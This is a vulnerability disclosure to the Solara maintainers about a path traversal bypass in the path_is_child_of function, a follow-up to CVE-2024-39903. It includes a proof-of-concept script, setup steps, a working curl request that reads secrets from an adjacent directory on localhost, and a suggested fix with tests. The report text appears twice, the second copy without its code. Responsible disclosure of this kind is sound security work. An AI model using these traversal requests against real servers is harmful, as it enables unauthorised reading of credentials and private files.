Summary
I am writing to report a security vulnerability in Solara. Thank you for maintaining this great project!
A Path Traversal vulnerability exists in the path_is_child_of function used for validating file paths. This function was introduced as part of the CVE-2024-39903 fix, but contains a similar vulnerability due to using string startswith() comparison instead of proper path validation. An attacker can access files in adjacent directories whose names share a common prefix with the allowed directory.
For example, if the allowed directory is /var/www/static/, an attacker can access files in /var/www/static_admin/ or /var/www/static_private/ by using path traversal sequences like ../static_admin/secrets.json. This is because the string /var/www/static_admin starts with /var/www/static.
This is clearly unintended behavior because:
- The function name
path_is_child_of indicates it should verify that a path is a child of the parent directory, not just a string prefix match
- The code comment in
cdn_helper.py explicitly states: "Make sure cache_path is a subdirectory of base_cache_dir so we don't accidentally read files from the parent directory which is a security risk"
- This function was introduced specifically to fix CVE-2024-39903, demonstrating that path traversal prevention was the intended purpos
Severity: Moderate (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - 5.3)
Affected Version: 1.56.0 (latest as of testing)
Vulnerability Details
- Vulnerability Type: Path Traversal (CWE-22)
- Affected Component:
solara/server/utils.py - path_is_child_of function (Lines 20-28)
The issue occurs because:
- The
path_is_child_of function uses os.path.normpath() to normalize paths
- It then uses Python's
str.startswith() to check if the path is within the allowed directory
startswith() performs string comparison, not path comparison
- A path like
/share/solara/cdn_private starts with /share/solara/cdn, passing the check
def path_is_child_of(path: Path, parent: Path) -> bool:
# We use os.path.normpath() because we do not want to follow symlinks
# in editable installs, since some packages are symlinked
path_string = os.path.normpath(path)
parent_string = os.path.normpath(parent)
if sys.platform == "win32":
# on windows, we sometimes get different casing (only seen on CI)
path_string = path_string.lower()
parent_string = parent_string.lower()
return path_string.startswith(parent_string) # <-- Vulnerability!
This vulnerability is a bypass of the CVE-2024-39903 fix:
- CVE-2024-39903 (commit
391e2124) fixed path traversal in CDN cache using inline startswith() check
- Commit
df2fd66a introduced path_is_child_of function with the same startswith() pattern
- The new function has the same vulnerability, allowing access to adjacent directories with matching prefixes
Steps to Reproduce (PoC)
Step 1: Verify the vulnerability logic
import os
from pathlib import Path
def path_is_child_of_vulnerable(path: Path, parent: Path) -> bool:
path_string = os.path.normpath(path)
parent_string = os.path.normpath(parent)
return path_string.startswith(parent_string)
# Simulated directory structure:
# /var/www/static/ <- Allowed directory
# /var/www/static_admin/ <- Should be protected (contains admin configs)
# /var/www/static_private/ <- Should be protected (contains secrets)
allowed_dir = Path('/var/www/static')
# Attack paths
test_cases = [
'../static_admin/config.json', # Should be blocked
'../static_private/secrets.json', # Should be blocked
'../../etc/passwd', # Should be blocked
]
for attack_path in test_cases:
combined = allowed_dir / attack_path
normalized = Path(os.path.normpath(combined))
result = path_is_child_of_vulnerable(normalized, allowed_dir)
print(f"Path: {attack_path}")
print(f" Normalized: {normalized}")
print(f" Allowed: {result}")
Output:
Path: ../static_admin/config.json
Normalized: /var/www/static_admin/config.json
Allowed: True <-- VULNERABILITY! (starts with "/var/www/static")
Path: ../static_private/secrets.json
Normalized: /var/www/static_private/secrets.json
Allowed: True <-- VULNERABILITY! (starts with "/var/www/static")
Path: ../../etc/passwd
Normalized: /var/etc/passwd
Allowed: False <-- Correctly blocked (doesn't start with "/var/www/static")
Step 2: Exploitation via CDN endpoint (Working PoC)
Environment Setup:
# Create a new directory for the PoC
mkdir -p solara-poc && cd solara-poc
# Create virtual environment and install Solara
python -m venv .venv && source .venv/bin/activate
pip install solara requests
Create test directories:
# Get the CDN cache directory path
python3 -c "
import solara.server.settings as settings
print('CDN Cache Dir:', settings.assets.proxy_cache_dir)
"
# Output: CDN Cache Dir: /path/to/solara-poc/.venv/share/solara/cdn
# Create CDN cache directory and adjacent "private" directory
CDN_DIR=".venv/share/solara/cdn"
PRIVATE_DIR=".venv/share/solara/cdn_private"
mkdir -p "$CDN_DIR"
mkdir -p "$PRIVATE_DIR"
# Create a legitimate file in CDN cache
echo "This is an allowed file." > "$CDN_DIR/allowed.txt"
# Create a "secret" file in the adjacent directory (should NOT be accessible)
echo '{"api_key": "SECRET_KEY_12345", "db_password": "super_secret_password"}' > "$PRIVATE_DIR/secrets.json"
Create minimal Solara app (app.py):
import solara
@solara.component
def Page():
solara.Markdown("# Solara Path Traversal PoC")
Start the server with proxy enabled:
SOLARA_ASSETS_PROXY=true solara run app.py --port 8765
Execute the attack:
# Attack: Access secrets.json via path traversal
curl -s "http://localhost:8765/_solara/cdn/..%2Fcdn_private%2Fsecrets.json"
Result:
{"api_key": "SECRET_KEY_12345", "db_password": "super_secret_password"}
The secret file from cdn_private/ directory was successfully accessed through the CDN endpoint, bypassing the path validation.
Why this works:
- Request path:
/_solara/cdn/../cdn_private/secrets.json
- Server combines:
{cache_dir}/../cdn_private/secrets.json
- Normalized to:
{parent_dir}/cdn_private/secrets.json
path_is_child_of() checks: "cdn_private/secrets.json".startswith("cdn") → True
- Check passes, file contents returned
The vulnerability affects any adjacent directory whose name starts with the same prefix (e.g., cdn_backup, cdn_old, cdn2).
Impact
If this vulnerability is exploited, the following damage could occur:
-
Information Disclosure:
- Read sensitive files from adjacent directories with matching prefixes
- Examples:
static_admin, static_private, public_internal, cache_secrets
- Access configuration files, credentials, or cached data outside the intended directory
-
Scope Limitation:
- The vulnerability is limited to directories whose names start with the same prefix as the allowed directory
- Full arbitrary path traversal (e.g.,
/etc/passwd) is not possible
Attack scenario:
Allowed directory: /var/www/static/
Adjacent directory: /var/www/static_admin/ (contains admin credentials)
Attacker → Requests /_solara/cdn/../static_admin/credentials.json
↓
Server combines: /var/www/static/../static_admin/credentials.json
↓
Server normalizes to: /var/www/static_admin/credentials.json
↓
path_is_child_of() checks: "/var/www/static_admin".startswith("/var/www/static")
↓
Returns True! (string prefix matches)
↓
Server returns contents of credentials.json
Suggested Fix
Replace startswith() with proper path validation using Path.relative_to():
def path_is_child_of(path: Path, parent: Path) -> bool:
try:
path_resolved = Path(os.path.normpath(path)).resolve()
parent_resolved = Path(os.path.normpath(parent)).resolve()
path_resolved.relative_to(parent_resolved)
return True
except ValueError:
return False
Verification that this fix blocks the attack:
import os
from pathlib import Path
def path_is_child_of_fixed(path: Path, parent: Path) -> bool:
try:
path_resolved = Path(os.path.normpath(path)).resolve()
parent_resolved = Path(os.path.normpath(parent)).resolve()
path_resolved.relative_to(parent_resolved)
return True
except ValueError:
return False
allowed_dir = Path('/var/www/static')
test_cases = [
('../static_admin/secrets.json', False),
('../static_private/config.json', False),
('../../etc/passwd', False),
('allowed.txt', True),
('subdir/file.txt', True),
]
for attack_path, expected in test_cases:
combined = allowed_dir / attack_path
result = path_is_child_of_fixed(combined, allowed_dir)
status = "OK" if result == expected else "FAIL"
print(f"[{status}] {attack_path} -> {result} (expected: {expected})")
Output:
[OK] ../static_admin/secrets.json -> False (expected: False)
[OK] ../static_private/config.json -> False (expected: False)
[OK] ../../etc/passwd -> False (expected: False)
[OK] allowed.txt -> True (expected: True)
[OK] subdir/file.txt -> True (expected: True)
CVSS:3.1 Score Justification (5.3 Moderate)
- AV:N (Network) - Exploitable over network via CDN endpoint
- AC:L (Low) - No special conditions required
- PR:N (None) - No authentication required for CDN endpoint
- UI:N (None) - No user interaction required
- S:U (Unchanged) - Impact limited to vulnerable component
- C:L (Low) - Limited to adjacent directories with matching prefix (e.g.,
static_admin, cache_private)
- I:N (None) - Write impact requires specific conditions
- A:N (None) - No availability impact
Summary
I am writing to report a security vulnerability in Solara. Thank you for maintaining this great project!
A Path Traversal vulnerability exists in the
path_is_child_offunction used for validating file paths. This function was introduced as part of the CVE-2024-39903 fix, but contains a similar vulnerability due to using stringstartswith()comparison instead of proper path validation. An attacker can access files in adjacent directories whose names share a common prefix with the allowed directory.For example, if the allowed directory is
/var/www/static/, an attacker can access files in/var/www/static_admin/or/var/www/static_private/by using path traversal sequences like../static_admin/secrets.json. This is because the string/var/www/static_adminstarts with/var/www/static.This is clearly unintended behavior because:
path_is_child_ofindicates it should verify that a path is a child of the parent directory, not just a string prefix matchcdn_helper.pyexplicitly states: "Make sure cache_path is a subdirectory of base_cache_dir so we don't accidentally read files from the parent directory which is a security risk"Severity: Moderate (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - 5.3)
Affected Version: 1.56.0 (latest as of testing)
Vulnerability Details
solara/server/utils.py-path_is_child_offunction (Lines 20-28)The issue occurs because:
path_is_child_offunction usesos.path.normpath()to normalize pathsstr.startswith()to check if the path is within the allowed directorystartswith()performs string comparison, not path comparison/share/solara/cdn_privatestarts with/share/solara/cdn, passing the checkRelationship to CVE-2024-39903
This vulnerability is a bypass of the CVE-2024-39903 fix:
391e2124) fixed path traversal in CDN cache using inlinestartswith()checkdf2fd66aintroducedpath_is_child_offunction with the samestartswith()patternSteps to Reproduce (PoC)
Step 1: Verify the vulnerability logic
Output:
Step 2: Exploitation via CDN endpoint (Working PoC)
Environment Setup:
Create test directories:
Create minimal Solara app (
app.py):Start the server with proxy enabled:
Execute the attack:
Result:
{"api_key": "SECRET_KEY_12345", "db_password": "super_secret_password"}The secret file from
cdn_private/directory was successfully accessed through the CDN endpoint, bypassing the path validation.Why this works:
/_solara/cdn/../cdn_private/secrets.json{cache_dir}/../cdn_private/secrets.json{parent_dir}/cdn_private/secrets.jsonpath_is_child_of()checks:"cdn_private/secrets.json".startswith("cdn")→ TrueThe vulnerability affects any adjacent directory whose name starts with the same prefix (e.g.,
cdn_backup,cdn_old,cdn2).Impact
If this vulnerability is exploited, the following damage could occur:
Information Disclosure:
static_admin,static_private,public_internal,cache_secretsScope Limitation:
/etc/passwd) is not possibleAttack scenario:
Suggested Fix
Replace
startswith()with proper path validation usingPath.relative_to():Verification that this fix blocks the attack:
Output:
CVSS:3.1 Score Justification (5.3 Moderate)
static_admin,cache_private)